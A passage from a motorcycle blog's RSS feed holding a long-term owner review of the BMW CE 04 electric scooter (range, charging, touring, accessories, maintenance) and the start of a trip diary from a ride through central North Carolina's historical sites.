range&#xA;It will not route you to a charging stop along the way&#xA;It does not show chargers on the map&#xA;Address lookups are sluggish and interrupted by Bluetooth connectivity changes&#xA;If you have your phone setup as a hotspot, it will fail to display maps on your console&#xA;&#xA;Does it Tour?&#xA;&#xA;Hell, yes, it tours.&#xA;&#xA;You can treat the BMW CE 04 as an exotic electric sport-touring machine, within reason. Due to the recharge times, the longest you can travel within 24 hours is about 400 mi/650km. My longest single-day ride has been 333 mi/530km, and my longest 3-day trip has been 650 mi/1050km.&#xA;&#xA;Touring with the BMW CE 04 takes planning, but visiting small towns with tiny independent charging stations in pedestrian-friendly spaces has been surprisingly rewarding. Traveling at a slower speed to these little electrical oases has provided a more exciting travel experience than I ever had with the F650GS Dakar or R1150GS. By preferring slower travel speeds and making loads of coffee stops, touring on the CE 04 feels similar to a bicycle tour at 3X speed.&#xA;&#xA;You can find chargers even in North Carolina&#39;s one-stoplight towns: Goldston to Star. The limited range of the CE 04 requires planning to locate them, but you can go a long way with ABRP (ABetterRoutePlanner) and PlugShare. ABRP does not know about the CE 04, but it&#39;s possible to simulate one by selecting the Zero SDS ZF 7.2 + PT and setting the reference consumption to 190 Wh/mi @ 65mph.&#xA;&#xA;The weakest spot for touring on the BMW CE 04 is the seat. I am still looking for a seating position that is comfortable for more than 4 hours. For my pillion, it&#39;s uncomfortable after an hour. I may consider buying an Airhawk seat in the future.&#xA;&#xA;Making the CE 04 mine&#xA;&#xA;I&#39;ve made a handful of changes to the bike to make it more comfortable:&#xA;&#xA;Wunderlich handguards: Increased protection and decreased heat loss from the heated handgrips when it&#39;s cold.&#xA;Shad SH48 top case: to carry helmet &amp; gear for a passenger.&#xA;Skene lights: significantly improve visibility for the drivers around me&#xA;2x2 Cycles Moto Bicycle Carrier: to carry a bicycle on the back (warning: beware of clearance problems with the standard front-wheel mount to your turn signal indicator)&#xA;Wunderlich Winter Muffs: to keep my fingers warm even when it&#39;s below freezing&#xA;Helix Handlebar Bag - Velcroed to the space under the dash, holds my camera, first aid kit, and TeslaTap Mini.&#xA;Reinforced turn signal indicators: (a tie wrap)&#xA;&#xA;I&#39;ve been happy with all of these so far. There are many CE 04 accessories available to the EU market that may never show up in the USA, such as the Wunderlich Rain Skirt.&#xA;&#xA;Maintenance&#xA;&#xA;Unsurprisingly, the maintenance requirements of the BMW CE 04 are minimal. There is no engine oil that needs changing, and with the regenerative motor braking, the brake pads are, for the most part, relegated to emergency stops. I am not a mechanic, but this is the rough maintenance schedule I am going by:&#xA;&#xA;750 miles: Initial &#34;break-in&#34; service (final drive fluid change, belt tension check)&#xA;Every 4500 miles: replace the front tire&#xA;Every 6200 miles: replace the rear tire, final drive fluid change, belt tension check&#xA;Every 20000 miles: replace the belt&#xA;Every 50000 miles: replace brake pads&#xA;Every 10000 miles: replace brake rotors&#xA;Every 2 years: replace brake fluid&#xA;&#xA;As with their gas-burning bikes, BMW wants you to stop by a dealer every 6000 miles for maintenance. IMHO, that&#39;s excessive for an electric vehicle, especially given that the mechanics in the USA are not trained to work on the CE 04. If you ever find yourself wanting to turn off the giant &#34;MAINTENANCE DUE&#34; pop-up on the console, it&#39;s quickly done with an ODB2 dongle and the MotoScan phone app.&#xA;&#xA;One unexpected quirk about the CE 04 is that it burns through front tires more quickly than the rear, opposite of most two-wheeled vehicles and 4-wheeled EVs.&#xA;&#xA;Room for Improvement&#xA;&#xA;Roughly in priority order:&#xA;&#xA;A long-range version, like the BMW C-Evolution&#xA;Support for DC charging (NACS) to broaden charger compatibility&#xA;Automatic routing to chargers in navigation mode&#xA;Touring-friendly seats&#xA;Reinforced indicators&#xA;&#xA;Conclusion&#xA;&#xA;It isn&#39;t for everyone, but for me, the BMW CE 04 is a nearly perfect vehicle. It&#39;s great for errands, such as pizza pickups and school drop-offs, and fun outings, such as lunch with friends and exploring the countryside. &#xA;&#xA;I&#39;d buy the CE 04 again in a heartbeat. If BMW released a version with 20mi/30km more range, I&#39;d buy it too.&#xA;&#xA;If you want to know more, drop by the BMW Scooters Forum, where everyone is exceptionally friendly and helpful.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>With 4,700 miles (7500km) and 9 months under my belt, it&#39;s time for my long-term review of the BMW CE 04.</p>

<h2 id="introduction" id="introduction">Introduction</h2>

<p><img src="https://i.snap.as/Kq5EEoUX.jpg" alt=""/></p>

<p>In 2022, BMW released the <a href="https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html">CE 04</a>: a futuristic-looking spaceship in a sea of boring two-wheeled EVs. It made quite a splash, with BMW <a href="https://www.press.bmwgroup.com/global/article/detail/T0407526EN/bmw-motorrad-achieves-the-best-sales-result-in-the-company-s-history?language=en">selling nearly 5000 </a>in the first year. While European sales were strong, I estimate that only about 250 were sold in the USA during 2022. I may, in fact be the only CE 04 owner in North Carolina.</p>



<p><img src="https://i.snap.as/RcIlxAaF.jpg" alt=""/></p>

<p>One question I often get from onlookers is: is that thing a scooter, or is that a motorcycle? While the CE 04 shares parts with their motorcycle line (S1000XR, F850GS, etc.), it has a floorboard instead of foot pegs, so BMW calls it a scooter. With the transition to electric, there is no other difference between a scooter and a motorcycle. Scooters also generally have an area under the dash where you can place your legs or groceries, but the CE 04 does not.</p>

<p>While the CE 04 is the most fun I&#39;ve had on two wheels, it is also the personification of compromise. It&#39;s heavy, but due to the exceptionally low center of gravity, it&#39;s far easier to handle than the equally heavy R1200GS. Rather than using new electric technologies like a hub motor, the CE 04 reuses well-tested components. Somehow, it is still the <a href="https://docs.google.com/spreadsheets/d/1UqNHMZnefVYDFB7FNf4Txf_y9nb_1LSSzdp-XJTrihg/edit#gid=0">most efficient EV in its class (WMTC 3b)</a>. It&#39;s got more range than you need for the city, but less than you may want for touring.</p>

<p><img src="https://i.snap.as/hOzDWXKS.jpg" alt=""/></p>

<h2 id="who-should-get-this-bike" id="who-should-get-this-bike">Who should get this bike?</h2>

<p>If you are looking for a fast, fun, practical utility bike, have access to a power outlet at home, and live within 30 miles (50km) of another EV charger (<a href="https://www.plugshare.com/">see the Plugshare map</a>): skip the rest of this review and go buy a CE 04 now.</p>

<p>If you ride primarily in urban or suburban areas, I can&#39;t think of a better bike than the CE 04.</p>

<p><img src="https://i.snap.as/xdvj5bnA.jpg" alt=""/></p>

<h2 id="who-should-steer-clear-of-it" id="who-should-steer-clear-of-it">Who should steer clear of it?</h2>

<p>If you want to participate in long group rides or want to venture out on day-long rides without micro-managing charging stops: check out <a href="https://www.energicamotor.com/">Energica</a> or <a href="https://vergemotorcycles.com/">Verge Motorcycles</a> instead.</p>

<p><img src="https://i.snap.as/XA938mA3.jpg" alt=""/></p>

<h2 id="specs" id="specs">Specs</h2>
<ul><li>Top Speed: 78mph</li>
<li>Approximate Range:
<ul><li>75 miles @ 35mph / 120 km @ 60km/h</li>
<li>65 miles @ 45mph / 105 km @ 70km/h</li>
<li>60 miles @ 55mph / 95 km @ 90km/h</li>
<li>40 miles @ 70mph / 65 km @ 115km/h</li></ul></li>
<li>Acceleration: 0-30mph (0-50km/h) in <a href="https://www.youtube.com/watch?v=yAO1J98YK3g">~2s</a></li>
<li>Maintenance: Every 2 years or 6200 miles (10000km)</li>
<li>Battery: 8.9 kWh total (8.5 kWh usable)</li>
<li>Effective charge time: ~1 hour @ 30A (240V) with the “Quick Charge” option</li></ul>

<p><img src="https://i.snap.as/fbPUsYK5.jpg" alt=""/></p>

<h2 id="what-s-hot-what-s-not" id="what-s-hot-what-s-not">What&#39;s Hot, What&#39;s Not?</h2>

<p>Keeping in mind that I am using the CE 04 as both a utility vehicle and a sport touring vehicle in North Carolina:</p>

<p><strong>Hot</strong>:</p>
<ul><li>Brisk acceleration</li>
<li>Agile &amp; easy to ride</li>
<li>Inexpensive to fuel ($1.15 where I live)</li>
<li>Always waking up to a full tank</li>
<li>Lack of engine noise and vibration makes it easier to tune into your surroundings</li>
<li>Leg protection</li>
<li>Reverse gear</li>
<li>Heated seat &amp; hand-grips</li>
<li>30L of under-seat storage</li></ul>

<p><img src="https://i.snap.as/UIwHuER1.jpg" alt=""/></p>

<p><strong>Not so hot</strong>:</p>
<ul><li>Range anxiety is real</li>
<li>Seats are uncomfortable for multi-hour rides</li>
<li>AC charging only; no support for DC fast chargers.</li>
<li><a href="https://unfinished.bike/bmw-ce-04-indicator-replacement-procedure">Fragile rear indicator lights</a></li></ul>

<p><img src="https://i.snap.as/P3F5Tqz1.jpg" alt=""/></p>

<h2 id="that-acceleration-tho" id="that-acceleration-tho">That Acceleration Tho</h2>

<p>The CE 04 accelerates like a bat out of hell. If you crank the throttle all the way in “Road” or “Dynamic” mode, it will calmly and quietly reach 30km/h (18mph) before the first second is up. The lack of any perceived stress from the scooter when launching it from an intersection is uncanny. The traction control system limits the earliest stage of acceleration to avoid lofting the front wheel or throwing a passenger off the back.</p>

<p>The acceleration still pulls aggressively through 60 km (37mph), enough to leave anything short of a supercar in the dust when leaving an intersection. After 72 km (45mph), the acceleration is no longer shocking and feels like a regular modern vehicle.</p>

<p>Leaving everyone else behind at a green light is the most enjoyable part of owning the CE 04.</p>

<p><img src="https://i.snap.as/noRtLkk7.jpg" alt=""/></p>

<h2 id="how-does-it-ride" id="how-does-it-ride">How does it ride?</h2>

<p>The BMW CE 04 rides really well, especially considering its weight. The center of gravity on this bike is easier lower than anything BMW has ever produced, which makes it a far more enjoyable experience to take this bike into town than the GS I used to have.</p>

<p><img src="https://i.snap.as/slEF34EI.jpg" alt=""/></p>

<p>I&#39;ve ridden the CE 04 in gravel, double-track, cities, highways, rain, flooded roads, and even briefly on ice. So far, the biggest handling surprise has been how competent this bike feels in gravel. The bike is also good on the highway or two-up, where it behaves much better than a F650GS and nearly as good as a R1200GS.</p>

<p><img src="https://i.snap.as/7aWaTXpO.jpg" alt=""/></p>

<p>I can only find two faults with the bike handling:</p>
<ul><li>The suspension is good, but you may periodically hit the travel limit (110mm front, 92mm rear) on a rough road</li>
<li>The steering of the CE 04 feels more easily influenced by high-speed crosswinds than other bikes</li></ul>

<p><img src="https://i.snap.as/TpoCu6AB.jpg" alt=""/></p>

<h2 id="the-electric-experience" id="the-electric-experience">The Electric Experience</h2>

<p>The best two things about having an electric vehicle are:</p>
<ul><li>Near-zero maintenance</li>
<li>Never having to visit a gas station</li></ul>

<p>The worst parts are:</p>
<ul><li>The fear of exceeding your range</li>
<li>The fear of arriving at a broken charger</li></ul>

<p>It was only on my first multi-day trip with the CE 04 that I finally mastered the art of dialing up efficiency as needed. If you find yourself in a situation where you need to stretch your range, the following recipe is good to squeeze an extra 10-15% out of the scoot:</p>
<ul><li>Travel at 5mph (8km/h) less than the speed limit</li>
<li>Use “Eco” Mode</li>
<li>Avoid the brakes</li></ul>

<p><img src="https://i.snap.as/qxoBRpMo.jpg" alt=""/></p>

<p>I was surprised to learn that power usage has a cubic relationship with velocity:</p>

<pre><code>power = 0.5 * density_of_air * velocity^3 * drag coefficient * surface area
</code></pre>

<p>This is much more noticeable on a two-wheeled EV than any other type of vehicle because of the high drag coefficient (&gt;1 versus 0.23 in a Tesla Model Y), low energy density, and because they are highly efficient at slow speeds, whereas internal combustion engines are not. Even a small difference in speed dramatically impacts the range of EVs, especially a two-wheeled one.</p>

<p><img src="https://i.snap.as/4ITjZN9r.jpg" alt=""/></p>

<p>I&#39;ve observed a 23% range difference between “Dynamic” and “Eco” modes on the same stretch of road an hour apart. While the Dynamic mode has ~20% stronger regenerative braking than Eco, I&#39;m skeptical of its effectiveness on a two-wheeled EV due to the relatively low inertial weight. The primary efficiency difference between the Evo/Rain and Road/Dynamic modes is due to the dampening of the acceleration curve.</p>

<p>Regarding the fear of arriving at a broken charger: I&#39;ve now charged at 66 different locations and have only once had to adjust my route due to an unavailable charger. The key to avoiding charger disappointment is to look stations up on <a href="https://plugshare.com">PlugShare</a> ahead of time: if the most recent review doesn&#39;t reflect a successful charge, don&#39;t count on having one yourself.</p>

<p><img src="https://i.snap.as/XXPIGkw0.jpg" alt=""/></p>

<p>Like most battery-powered devices, it takes about the same time to charge 20-80% as it does from 80-100% due to increased resistance from the battery. My average charge time at public chargers is 30 minutes (20-60%), but if I need to change up to 100% to make it somewhere, I&#39;ll grab a coffee and let the bike sit for an hour.</p>

<p>It is worth noting that the BMW CE 04 is only compatible with AC (alternating current) chargers, like what you have at home. While this means you can charge it from any 110V or 220V power source, it means that it isn&#39;t compatible with the faster <a href="https://evsafecharge.com/dc-fast-charging-explained/">DC (direct current) chargers</a>. Due to this incompatibility, even with an adapter, the CE 04 will not charge at  Tesla Superchargers or <a href="https://www.electrifyamerica.com/">ElectrifyAmerica</a> chargers. In the United States, the lack of DC support means roughly 15% of chargers are incompatible with the CE 04.</p>

<p>On the plus side, the various apps for looking up chargers allow you to select AC or DC. 99% of the free chargers are AC. The CE 04 works wonderfully with <a href="https://www.tesla.com/destination-charging">Tesla Destination Chargers</a>, but you&#39;ll need to pack a <a href="http://www.umc-j1772.com/index.php?route=product/product&amp;product_id=146">TeslaTap Mini</a> adapter to use them.</p>

<p><img src="https://i.snap.as/53Xyn1EV.jpg" alt=""/></p>

<p>As the BMW CE 04 is slow at refueling compared to traditional two-wheeled bikes, group rides longer than 50 miles can be awkward. It doesn&#39;t help that group rides tend to encourage riding faster than the speed limit, which impacts your range.</p>

<h2 id="getting-connected" id="getting-connected">Getting Connected</h2>

<p>While the CE 04 does not require a cell phone to operate, you will need it if you want the giant 10.25” screen to show navigation instructions; you will need to install an Android or iOS application and connect your phone to your bike via Bluetooth. Good thing the scooter comes with a USB-C charging slot — the CE 04 even has a fan-cooled location for stowing your phone.</p>

<p>There is no support for Android Auto, CarPlay, or any other mechanism to display maps from your phone to the console. If you want Navigation, you have to use the <a href="https://play.google.com/store/apps/details?id=com.bmw.ConnectedRide.na&amp;hl=en_US&amp;gl=US">BMW Motorrad Connected</a> app, which isn&#39;t all that terrible.</p>

<p><img src="https://i.snap.as/gFuVGfIy.jpg" alt=""/></p>

<p>The best features of the BMW-connected software are:</p>
<ul><li>You can set the preferred “Windiness” for your route</li>
<li>Maps work offline</li>
<li>It records a GPS route of every ride, along with the state-of-charge, ABS, and traction events.</li></ul>

<p>The worst features are:</p>
<ul><li>It will not tell you how much range to expect at your destination</li>
<li>It will not warn you if the destination exceeds your range</li>
<li>It will not route you to a charging stop along the way</li>
<li>It does not show chargers on the map</li>
<li>Address lookups are sluggish and interrupted by Bluetooth connectivity changes</li>
<li>If you have your phone setup as a hotspot, it will fail to display maps on your console</li></ul>

<p><img src="https://i.snap.as/9PL0ADkJ.jpg" alt=""/></p>

<h2 id="does-it-tour" id="does-it-tour">Does it Tour?</h2>

<p>Hell, yes, it tours.</p>

<p><img src="https://i.snap.as/8QT5FgqW.jpg" alt=""/></p>

<p>You can treat the BMW CE 04 as an exotic electric sport-touring machine, within reason. Due to the recharge times, the longest you can travel within 24 hours is about 400 mi/650km. My <a href="https://unfinished.bike/piggly-wiggly-saves-the-electric-coastal-raid">longest single-day ride has been 333 mi/530km</a>, and my longest <a href="https://unfinished.bike/iso-native-lands-day-1-chapel-hill-rutherfordton">3-day trip has been 650 mi/1050km</a>.</p>

<p><img src="https://i.snap.as/RbgTUkdy.jpg" alt=""/></p>

<p>Touring with the BMW CE 04 takes planning, but visiting small towns with tiny independent charging stations in pedestrian-friendly spaces has been surprisingly rewarding. Traveling at a slower speed to these little electrical oases has provided a more exciting travel experience than I ever had with the F650GS Dakar or R1150GS. By preferring slower travel speeds and making loads of coffee stops, touring on the CE 04 feels similar to a bicycle tour at 3X speed.</p>

<p><img src="https://i.snap.as/BENQlhHi.jpg" alt=""/></p>

<p>You can find chargers even in North Carolina&#39;s one-stoplight towns: Goldston to Star. The limited range of the CE 04 requires planning to locate them, but you can go a long way with ABRP (ABetterRoutePlanner) and PlugShare. ABRP does not know about the CE 04, but it&#39;s possible to simulate one by selecting the <code>Zero SDS ZF 7.2 + PT</code> and setting the reference consumption to <code>190 Wh/mi @ 65mph</code>.</p>

<p>The weakest spot for touring on the BMW CE 04 is the seat. I am still looking for a seating position that is comfortable for more than 4 hours. For my pillion, it&#39;s uncomfortable after an hour. I may consider buying an <a href="https://airhawk.net/">Airhawk seat</a> in the future.</p>

<p><img src="https://i.snap.as/f2JtOg5h.jpg" alt=""/></p>

<h2 id="making-the-ce-04-mine" id="making-the-ce-04-mine">Making the CE 04 mine</h2>

<p>I&#39;ve made a handful of changes to the bike to make it more comfortable:</p>

<p><img src="https://i.snap.as/kYWypUuR.jpg" alt=""/></p>
<ul><li><a href="https://www.wunderlichamerica.com/wunderlich-handguard-set-ce-04.html">Wunderlich handguards</a>: Increased protection and decreased heat loss from the heated handgrips when it&#39;s cold.</li>
<li><a href="https://www.shadusa.com/products/sh48-top-case-silver">Shad SH48 top case</a>: to carry helmet &amp; gear for a passenger.</li>
<li><a href="https://unfinished.bike/skene-lights-installation-on-the-bmw-ce-04">Skene lights</a>: significantly improve visibility for the drivers around me</li>
<li><a href="https://www.2x2cycles.com/product/moto-bicycle-rack/">2x2 Cycles Moto Bicycle Carrier</a>: to carry a bicycle on the back (warning: beware of clearance problems with the standard front-wheel mount to your turn signal indicator)</li>
<li><a href="https://www.wunderlichamerica.com/Motorcycle_Handlebar_Muffs_Black">Wunderlich Winter Muffs</a>: to keep my fingers warm even when it&#39;s below freezing</li>
<li><a href="https://chromeindustries.com/products/helix-handlebar-bag">Helix Handlebar Bag</a> – Velcroed to the space under the dash, holds my camera, first aid kit, and TeslaTap Mini.</li>
<li>Reinforced turn signal indicators: (a tie wrap)</li></ul>

<p>I&#39;ve been happy with all of these so far. There are many CE 04 accessories available to the EU market that may never show up in the USA, such as the <a href="https://www.wunderlich.de/shop/en/leg-protection-cover-ce-04-45302-002.html">Wunderlich Rain Skirt</a>.</p>

<p><img src="https://i.snap.as/MDu5sboQ.jpg" alt=""/></p>

<h2 id="maintenance" id="maintenance">Maintenance</h2>

<p>Unsurprisingly, the <a href="https://manuals.bmw-motorrad.com/manuals/BA-Extern/IN/BA-INTERNET-COM/PDF/C_0C51_RM_0623_07.pdf">maintenance requirements of the BMW CE 04</a> are minimal. There is no engine oil that needs changing, and with the regenerative motor braking, the brake pads are, for the most part, relegated to emergency stops. I am not a mechanic, but this is the rough maintenance schedule I am going by:</p>
<ul><li>750 miles: Initial “break-in” service (final drive fluid change, belt tension check)</li>
<li>Every 4500 miles: replace the front tire</li>
<li>Every 6200 miles: replace the rear tire, final drive fluid change, belt tension check</li>
<li>Every 20000 miles: replace the belt</li>
<li>Every 50000 miles: replace brake pads</li>
<li>Every 10000 miles: replace brake rotors</li>
<li>Every 2 years: replace brake fluid</li></ul>

<p><img src="https://i.snap.as/qOiuEPYr.jpg" alt=""/></p>

<p>As with their gas-burning bikes, BMW wants you to stop by a dealer every 6000 miles for maintenance. IMHO, that&#39;s excessive for an electric vehicle, especially given that the mechanics in the USA are not trained to work on the CE 04. If you ever find yourself wanting to turn off the giant “MAINTENANCE DUE” pop-up on the console, it&#39;s quickly done with an <a href="https://www.obdlink.com/products/obdlink-lx/">ODB2 dongle</a> and the <a href="https://play.google.com/store/apps/details?id=de.wgsoft.motoscan&amp;hl=en_US&amp;gl=US">MotoScan</a> phone app.</p>

<p><img src="https://i.snap.as/licTJH9v.jpg" alt=""/></p>

<p>One unexpected quirk about the CE 04 is that it burns through front tires more quickly than the rear, opposite of most two-wheeled vehicles and 4-wheeled EVs.</p>

<p><img src="https://i.snap.as/pOolO1eF.jpg" alt=""/></p>

<h2 id="room-for-improvement" id="room-for-improvement">Room for Improvement</h2>

<p>Roughly in priority order:</p>
<ul><li>A long-range version, like the <a href="https://en.wikipedia.org/wiki/BMW_C_evolution">BMW C-Evolution</a></li>
<li>Support for DC charging (<a href="https://en.wikipedia.org/wiki/North_American_Charging_Standard">NACS</a>) to broaden charger compatibility</li>
<li>Automatic routing to chargers in navigation mode</li>
<li>Touring-friendly seats</li>
<li>Reinforced indicators</li></ul>

<p><img src="https://i.snap.as/JAE0apEV.jpg" alt=""/></p>

<h2 id="conclusion" id="conclusion">Conclusion</h2>

<p>It isn&#39;t for everyone, but for me, the BMW CE 04 is a nearly perfect vehicle. It&#39;s great for errands, such as pizza pickups and school drop-offs, and fun outings, such as lunch with friends and exploring the countryside.</p>

<p>I&#39;d buy the CE 04 again in a heartbeat. If BMW released a version with 20mi/30km more range, I&#39;d buy it too.</p>

<p>If you want to know more, drop by the <a href="https://bmw-scooters.com/">BMW Scooters Forum</a>, where everyone is exceptionally friendly and helpful.</p>

<p><img src="https://i.snap.as/gqYl82OY.jpg" alt=""/></p>
]]></content:encoded>
      <guid>https://unfinished.bike/bmw-ce-04-the-suit-and-tie-rocket-ship</guid>
      <pubDate>Sun, 13 Aug 2023 02:07:09 +0000</pubDate>
    </item>
    <item>
      <title>ISO Native Lands: Day 3 (Hickory↝Chapel Hill)</title>
      <link>https://unfinished.bike/iso-native-lands-day-3-hickory-chapel-hill?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Today is homeward bound: a final 204 miles through Central North Carolina. There are a couple of locations of historical interest that I have plans to stop by: The Trading Ford, Sapona, and the Keyauwee village. I&#39;m not keeping my hopes up too high, though, as the exact locations of each are murky and possibly on private property.&#xA;&#xA;!--more--&#xA;&#xA;Wanting to get as much distance as possible before the evil day star becomes intolerable, I set my sights on breakfast in Salisbury, 54 miles away. That&#39;s about the maximum distance I&#39;ll ride anyways on rural highways before recharging the scooter: ABetterRoutePlanner says I&#39;ll arrive downtown with a 13% charge. The plan is to park &amp; walk to breakfast: though apparently, the only breakfast option on a Sunday morning in Salisbury is Waffle House.&#xA;&#xA;I decide to make an attempt to stretch the range out as far as I can this morning: this means easing the throttle, going just below the speed limit, pulling out when folks show up behind me, and coasting to a stop using the regenerative &#34;engine&#34; braking rather than applying the brakes. Thankfully, country roads are plenty quiet at 7am on a Sunday morning.&#xA;&#xA;Much of this first leg is in the vicinity of Statesville, NC. The scene is ranch houses, monstrous industrial buildings, semi-truck trailers, small rural churches, and corn. This area is known for cheap land, power, and water, so it makes sense to see all the big-named companies with multiple entrances, but it still feels unlike anywhere else I&#39;ve been on this trip.&#xA;&#xA;Depressingly, I began to think about how the local population lives their lives as slaves to these giant faceless corporations: you spend your 40 hours a week in a giant box following orders from your company, then you visit the church on the weekend to get orders from someone else, go home to rest, and then you die. I realized that I had just summarized my own life and felt even more solemn after that.&#xA;&#xA;I arrive at the first charger with 22% charge left - 9% more than I would have usually expected and worth about an extra 6 miles in range. It&#39;s good to know that I can dial up the efficiency if needed, which has led me to a new EV mantra of &#34;Get low? Go slow&#34;.&#xA;&#xA;Salisbury, or more specifically Gateway Park, is the first place I&#39;ve parked my bike where things felt sketchy enough to bring my things with me instead of just concealing the side bag. To the left of me were two people packing their belongings into a shopping cart, and to the right was someone sleeping in a bus shelter curled up against a Huffy bike from the 90s. Salisbury has fallen a long way since Andrew Jackson practiced law here.&#xA;&#xA;Even at 8:30am, it&#39;s beginning to feel sticky outside. The food at the Waffle House is good but not great. I was not feeling the Salisbury vibe and questioned whether it was wise to leave my motorcycle jacket and airbag vest behind, so I cut my urban exploration short and headed out to find the Trading Ford.&#xA;&#xA;The ford was an important part of the Great Trading Path that went up and down the coast: used by natives and colonists alike. In this area, the Yadkin was generally 1000-1500 feet wide, and this was the only point where it was possible to cross over by foot or horseback. Unfortunately, the location of the ford has since been dammed, and while you can kind of see where it once was from I-85, the closest access is blocked off by a power plant:&#xA;&#xA;I also tried to get to the location of Sapona, a famous Native American town adjacent to the Trading Ford mentioned in John Lawson&#39;s explorations. Unfortunately, nothing structural remains of it, and the site is on private land. I doubt few of the locals even know that Sapona is hiding beyond these trees:&#xA;&#xA;Apparently, there is still some disagreement from archeologists on which side of the river the town was on.&#xA;&#xA;Lexington&#xA;&#xA;Feeling dejected and unsuccessful in my day thus far, I continue up the route of the trading path from Salisbury through Spencer to Lexington. The vibe is destitute and derelict. This corridor feels filled with the people that society has left behind. It&#39;s not a surprise when I arrive in downtown Lexington and see the theme continue. Many prime real estate locations are closed, including this local Census center from 3 years ago.&#xA;&#xA;Allegedly famous for its barbeque, Lexington was primarily a textile and furniture town until those duties were moved overseas. On a Sunday morning, Lexington feels mostly dead. A random guy cruising down the hill on his bike, a crazy lady wandering around screaming to herself, and a person with a maimed arm wandering aimlessly.&#xA;&#xA;At some point, it&#39;s just too hot to walk around, so I find a shady bench to chill out at near the courthouse.&#xA;&#xA;Surprisingly, there are no water fountains or open markets to buy water from, so I ride to a CVS on the way out to buy some water for the coming hike.&#xA;&#xA;Caraway, Keyauwee: same word, different spelling&#xA;&#xA;I head East toward Asheboro, hoping to find the site of the famous Keyauwee village. The site location is an unconfirmed well-kept secret among archaeologists, but it&#39;s apparently along Caraway Creek and allegedly on private land. I tried to use hints from the books I&#39;ve read on the subject and Google Earth to make an educated guess. John Lawson&#39;s &#34;A New Voyage to Carolina&#34; (1704) described it:&#xA;&#xA;  Nature hath so fortified this Town, with Mountains, that were it a Seat of War, it might easily be made impregnable; having large Corn-Fields joining to their Cabins, and a Savanna near the Town, at the Foot of these Mountains, that is capable of keeping some hundred Heads of Cattle. And all this environed round with very high Mountains so that no hard Wind ever troubles these Inhabitants.&#xA;&#xA;Intriguingly, Lawson also mentions that at the top of the nearby mountain is a &#34;cave that 100 Men may fit very conveniently to dine in&#34;. I recently saw that the Caraway Creek Preserve opened up just South of the area I had identified as an armchair historian, so I decided to visit to see if it lived up to the description.&#xA;&#xA;Walking down to Caraway Creek, I imagined the sounds of a bustling native village. Craftspeople building things, food cooking over an open fire, kids playing with sticks and balls.&#xA;&#xA;While this location was surrounded by the low mountains of the northern Uwharrie, it didn&#39;t match the description. I couldn&#39;t shake the idea that I was off by many miles. Once I got home and did further research, I&#39;m pretty sure I was \~2 miles too far north and that the more likely location is just below Ridges Mountain. I&#39;ll take a closer look at a future trip.&#xA;&#xA;Asheboro and home&#xA;&#xA;I dropped by downtown Asheboro for a late lunch and a charge. Asheboro seems reinvigorated compared to the last time I was here 20+ years ago. The downtown lot has multiple free charging stations, art studios, and restaurants. It&#39;s clean, but you can still find plenty of old brick and grit.&#xA;&#xA;It&#39;s 93&#39;F outside, so I&#39;m walking around with what&#39;s left of my Camelbak Chill bottle, keeping myself hydrated until I find an interesting-looking place to eat. I settle on Flying Pig Food &amp; Spirits and am quickly disarmed by a hostess who declares that I cannot come in with a water bottle. We negotiate, and she holds the bottle hostage for me at her stand while I eat.&#xA;&#xA;I ordered a Dr. Pepper, water, and a &#34;Fish Dog&#34;: fried mahi mahi in hot dog buns. It&#39;s weird but good. On the way out, I get the water in a to-go cup to refill my water bottle. I liked the place, but my interaction with the hostess made the entire visit feel awkward.&#xA;&#xA;Leaving town, I pass over the Deep River by Cedar Falls and stop the bike as it just looks too gorgeous to pass up:&#xA;&#xA;When I head down to the banks, a concerned father yells down to me, asking if I have any bandaids. His boy cut himself playing on the rocks. I&#39;m glad to finally use the First Aid kit I keep handy, and even more glad that I didn&#39;t have to use it on myself.&#xA;&#xA;On the country roads between Asheboro and Siler City lies miles and miles of tar snakes. It felt like I was riding through one of those suspension test tracks you see car prototypes go through.&#xA;&#xA;At this point, I&#39;m feeling done with the road. While I could just keep slogging away at these little rural roads, I&#39;m tired, the sun is getting low, and the deer are coming out to play, so I decide to slab it home via Highway 64 &amp; 15-501. To do so, I head to the one charger between here and Pittsboro for one last top-off: The Ford Dealership in Siler City.&#xA;&#xA;It always feels awkward charging at a vehicle dealer, especially when it&#39;s not the manufacturer of your vehicle. This dealer is closed on Sundays, so it makes the experience much less weird. I add 15% to my tank, ride the last hour home, and call it a trip.&#xA;&#xA;Trip Conclusion&#xA;&#xA;623 miles, 3 days, 16 charging stops&#xA;&#xA;On this trip, I&#39;ve become very comfortable touring on the BMW CE-04 - even to the point where I&#39;ve fallen in love with this surprisingly well-thought-out scooter. The only thing I can fault the scooter for is the lack of a comfortable seating position for multi-hour rides; that&#39;s the only thing my old R1150GS still gets points for.&#xA;&#xA;Admittedly, the first time I rode the CE-04 a long distance, I was annoyed with all the charging stops, but I&#39;ve since learned to appreciate all the forgotten small towns that topping up has taken me to. Whereas most gas stations are far from exciting walking locations, most charging stops are smack in the middle of downtown. Here is the final track for the trip:&#xA;&#xA;With this trip, I finally lost my sense of range anxiety. I still charged far more often than I needed to -- on average, every 37 miles the first day compared to every 45 the last day -- I got less concerned about it over time. While I encountered no broken chargers on this trip, the occurrence is frequent enough that I&#39;ll continue to ensure I always have enough range to make it to an alternative.&#xA;&#xA;I brought a lot of extra items for emergencies that never came to be: from the emergency electric jerrycan to the plethora of AC adapters, tire inflators, and other tools. Still, if I was to do it all over again, I&#39;d do the same trip the same way.]]&gt;</description>
      <content:encoded><![CDATA[<p>Today is homeward bound: a final 204 miles through Central North Carolina. There are a couple of locations of historical interest that I have plans to stop by: The Trading Ford, Sapona, and the Keyauwee village. I&#39;m not keeping my hopes up too high, though, as the exact locations of each are murky and possibly on private property.</p>

<p><img src="https://i.snap.as/Jlh3yLqz.jpg" alt=""/></p>



<p>Wanting to get as much distance as possible before the evil day star becomes intolerable, I set my sights on breakfast in Salisbury, 54 miles away. That&#39;s about the maximum distance I&#39;ll ride anyways on rural highways before recharging the scooter: <a href="https://abetterrouteplanner.com/">ABetterRoutePlanner</a> says I&#39;ll arrive downtown with a 13% charge. The plan is to park &amp; walk to breakfast: though apparently, the only breakfast option on a Sunday morning in Salisbury is Waffle House.</p>

<p>I decide to make an attempt to stretch the range out as far as I can this morning: this means easing the throttle, going just below the speed limit, pulling out when folks show up behind me, and coasting to a stop using the regenerative “engine” braking rather than applying the brakes. Thankfully, country roads are plenty quiet at 7am on a Sunday morning.</p>

<p><img src="https://i.snap.as/utXyrLg8.jpg" alt=""/></p>

